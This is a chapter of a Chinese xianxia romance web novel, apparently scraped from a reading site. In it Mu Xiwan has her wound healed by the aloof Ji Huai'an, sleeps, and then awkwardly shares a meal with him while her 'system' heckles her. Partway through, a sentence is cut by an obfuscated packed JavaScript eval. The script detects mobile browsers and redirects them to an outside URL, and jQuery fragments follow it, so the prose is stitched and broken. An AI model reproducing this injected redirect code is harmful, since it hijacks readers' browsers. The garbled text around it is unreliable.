33. 旧梦(一)

作品:《穿为海王反派后

    弥漫在空气中的奇异气氛渐渐消散。


    狠狠将自己斥责一顿后,沐夕晚小心翼翼提起裙摆,才发现鲜血已染红裤褪,道道猩红极为刺目。


    如同前几次,他将手掌附在距她脚腕一拳的地方,无声输送灵力。


    此刻,望着那恬静淡雅的眉眼,沐夕晚有种错觉,季淮安似乎……也没那么冷漠。


    再加之昨夜山谷内并肩而行,以及昏暗河边的一抹微笑,令这份错觉愈加强烈。


    当那日白玉池前的记忆再度呈现时,这个大胆的错觉却又很快随之消失。


    他看起来不冷大概只是因为自己没惹到他。


    “为何跑得如此仓皇?”


    季淮安身经百战,纵搁着衣物,也能一眼看出伤势由来,顿了顿,问:“是师姐又为难了你?”


    沐夕晚对上他抬起的眸子,怔道:


    “没有……是我自己的事。”


    他颔首,不再言语。


    明明几个时辰前二人还勉强算得上相谈甚欢,至少有话说,如今没了共同话题,竟又回到一开始的状态,熟悉的陌生感透着淡淡的尴尬。


    空气中弥散着丝丝血腥味,沐夕晚知道他定也受了伤,犹豫片刻,主动挑起话题:“藤妖死了吗?”


    他“嗯”了一声,并未隐瞒,解释道:“阵法将其困在山谷,分身亦无处逃遁,已被众修士合力剿灭。”


    “那……他妻子……”她鬼使神差地开口。


    季淮安静默一瞬,淡声吐出三个字:“自杀了。”


    自杀了……


    是因为感知到夫君已亡,自己便也活不下去了吗?


    仔细想想,似乎有迹可循。


    于她而言,这世上唯一重要的人便只有他吧,至于那个孩子,或许本就是一个负担甚至一个恶魔。


    更何况,就算她有幸成功产下幼妖,活下来,今后的日子也未必好走。


    族内咒术尚在,一个能成功产下孩童并且无依无靠的女妖,极可能会遭受更大的折磨。


    倒不如同他一起去了,至少黄泉路上还能有个伴。


    沐夕晚知道,这样害人无数的妖没必要同情,亦不能同情。


    “也算是罪有应得。”轻飘飘的话夹着一丝漠然叹息,不知究竟是说给面前人听还是说给自己。


    伤口很快愈合,季淮安顺便用清洁咒替她把身上血迹一并消去,而后起身走至窗边,将窗子关上,冬日浅淡的阳光便也被挡在外头。


    言简意赅回头道:“睡吧。”


    如同此前每一次,他盘坐在窗前,开始阖目入定。


    屋内霎时安静下来,沐夕晚确实累了,不管是身体,还是精神。


    自幻境中清醒时,因二重幻境的穿插,她其实并没有过度悲伤在意一重幻境的情景,更多的感受是潮水般记忆在脑海翻涌所带来的恍惚。


    但从看到山洞的一瞬间,那些蒙尘黑暗的画面才确确实实地涌现在眼前,强势到不可抗拒,一同而来还有似跨越时空的情绪,真实又剧烈,几度将她的理智摧毁。


    浑身疲软无力,酸痛感游荡在四处,她瘫在床上,慢慢合紧沉重的眼皮,将自己全然放空。


    明明身体很困,思绪却不愿配合,折磨她良久,直到整个脑子都晕沉沉时,才堪堪陷入梦境。


    接连几日未休息,又刚大战一场,季淮安同样疲乏难耐,心力交瘁,几番挣扎无果,终是倚着窗子一同睡去。


    再睁眼时,已是午后时分。


    携着犹疑的视线轻飘飘落在床上仍熟睡的少女身上,很快又收回,心下悄然升起一份了然的宽慰与久违的轻松。


    未再做梦,看来果真需对她好些,才可稳固心境。


    他缓缓舒出一口气,起身出门。


    事实证明,睡觉不一定会令人放松。


    在冲破第n重梦境后,沐夕晚总算回到现实世界。生无可恋的眼神愣愣望着头顶帐子。


    半晌,她被气笑了。


    没错,人在无语的时候真的很想笑。


    窗外传来熙熙攘攘的声音,她或许知道自己是怎么醒的了。


    更想笑了。


    好大会才将自己安慰好,拖着疲惫的身体走至窗边,向下望去,只见原本空荡的街上此刻竟布满了形形色色的摊子。


    行人络绎不绝,商品琳琅满目,佳肴美馔飘香十里,吆喝声一阵接一阵。


    看来藤妖之事已传开,百姓便也不必再躲躲藏藏,明日又恰逢新年,大街小巷皆洋溢着欢声笑语。


    沐夕晚最是喜欢热闹,一时看呆,脸上阴郁之气瞬间烟消云散,惊叹声不绝,连季淮安回来都没察觉。


    他将从街上买的果子放到桌上,见她正看得入迷,便也没打扰。


    直到店内小厮来敲门。


    “客官,您点的菜肴已备好了。”


    季淮安开口回应:“进。”


    沐夕晚这才闻声回头,目视着两名小厮徐徐上菜。


    那方不大不小的木桌很快被填满,总共七八道,有荤有素有汤有茶,可谓丰盛。


    眼神放光,口水直流的同时,她不由在心中感慨:有钱人就是好啊,想怎么任性就怎么任性。


    不过……这么多他能吃完吗?


    如果吃不完的话……其实,她也不是不能帮忙。


    只不过这些小九九在心中念叨念叨也就算了,现实中可真不好意思说出口,而是换了种更合情合理的法子——


    待小厮离去,她跺着小碎步,极为顺滑地在他身侧坐下。


    并迅速换上熟练的讨好型面孔,托腮嘻嘻一笑:“仙君~”


    “我可不可以用符纸同你换一双筷子?”白细的手指压着张亮闪闪的符纸,缓慢推至他眼前。


    系统着实有些看不下去:【能不能收收你那不值钱且显得很奸恶的笑?】


    “你懂什么,求人就要有求人的态度,只有这般,才能彰显我的诚意。”


    【呵,我觉得他只会当你是个神经病,况且,像他这样的重症洁癖者,定然不会允许旁人和他一张桌子吃饭。】


    然话音刚落,季淮安竟就将一双筷子递了过来,语气依旧平淡:“可以。”


    似乎真的对她的冒犯无甚在意,甚至有些心甘情愿的样子……


    【emmm……】


    沐夕晚一喜,美滋滋接过:“多谢仙君,您可真是个大好人。”


    转头便对系统炫耀:“看吧,这世上还是好人多。”


    系统震惊到怀疑人生:【不对劲……太不对劲了!究竟哪一步出了差池?季淮安怎么会对你是这个态度?!啊啊啊要疯了!】


    对于它再日常不过的鬼哭狼嚎,沐夕晚选择直接屏蔽。


    考虑到对方的确是个洁癖,她极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164565|164603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为自觉地拿起小碗,用干净筷子将看对眼的菜夹进去。


    季淮安就这样瞧着她将那只碗盛得满当当的,甚至高出一大截,摇摇晃晃,很是不稳。


    强迫症一犯,他不由蹙起眉,在她拿起第二只碗时,终于忍不住开口提醒:“你……无需拘束。”


    不说还好,一说,她即刻会错了意,略显紧张地道了声好,夹菜的动作更快了。


    ……


    季淮安第一次对一个人感到无言以对,想了想,最终也没再说什么,由她去了。


    原本他是不想吃的,客栈终比不得正经食肆,这些菜虽品貌尚可,散出的味道却还没他往日做出的半分好。


    但见她如此,若是不吃些,怕是会令其感到惶恐,难以安心,便装模作样地夹了两嘴。


    食料的味道于口腔内化开,令他眼眶微微缩起,果然,不出所料,难吃的要死。


    他还是不够了解沐夕晚。


    她本就饿了许久,开始时根本没想到要注意形象,别说惶恐,连不好意思都没有。


    本能地狼吞苦咽起来,甚至还一脸餍足地眯起眼睛嚼呀嚼,哪知一睁眼便望见了与自己形成鲜明对比的季淮安。


    对方吃得很优雅,而且此刻眉目间还挂着极为厌弃的表情,纵垂着头,也足以令她看得清清楚楚。


    手中的饭顿时不香了。


    她默默咬下一半夹着的巨型肉块,将端在手心的碗轻轻放到桌上,难为情地笑了笑:“我是……实在太饿了,才会这样的,抱歉啊,影响到你了。”


    此时此刻,她巴不得他能快点吃完。


    闻言,季淮安舒了舒眉,疑惑抬眸,这才注意到她适才做了什么,说的话又是何意。


    只见那原本白净的唇边染了些许油渍,瓷碗周沿也沾着横七八竖的米粒。


    可称之为凌乱。


    她似乎并未感知到,睁着大眼珠由衷地望着他,细长的睫羽不时颤动几下,像个犯了错等着受训的孩童。


    意料之中的反感并未到来,看着那憨态十足的面容,他竟觉得有些好笑。


    二人就这样大眼瞪小眼,直到搞得沐夕晚内心惶惶,率先错开视线,恋恋不舍地将筷子放下,闷声道:“我吃好了。”


    其间不悦昭然若揭,这下,季淮安再也忍不住,终是笑出了声,极轻,却也足以让她为之一愣。


    “仙君笑什么?”下意识问出口的话令她追悔莫及。


    这是什么话啊!这让人如何回?!


    笑还需要理由吗?


    然而,说出去的话就好似泼出去的水,如何也收不回的。


    既已如此,只好先行做足冷场准备,却闻一道与素日淡默截然不同的声音响起,令她始料未及,蓦然愣住。


    他道:“想笑便笑了。”


    想笑便笑了,带着些许傲气与反骨,干脆利落地自那清冷孤傲地人口中说出,虽不甚欢喜却比平日多了许些温度。


    如同那一弯笑容,不大像是他会做出的反应,却又同他毫无违和感。


    仿佛万丈冰层下偶然溢出的一泓清泉,令人猝不及防却印象深刻。


    这一瞬间,沐夕晚忽而觉得,她对他的印象有些过于刻板了。


    他或许的确不是个冰冷的人。


    只不过因为某些原由,将真正的自己藏了起来,又或是,暂时忘了真实的自己。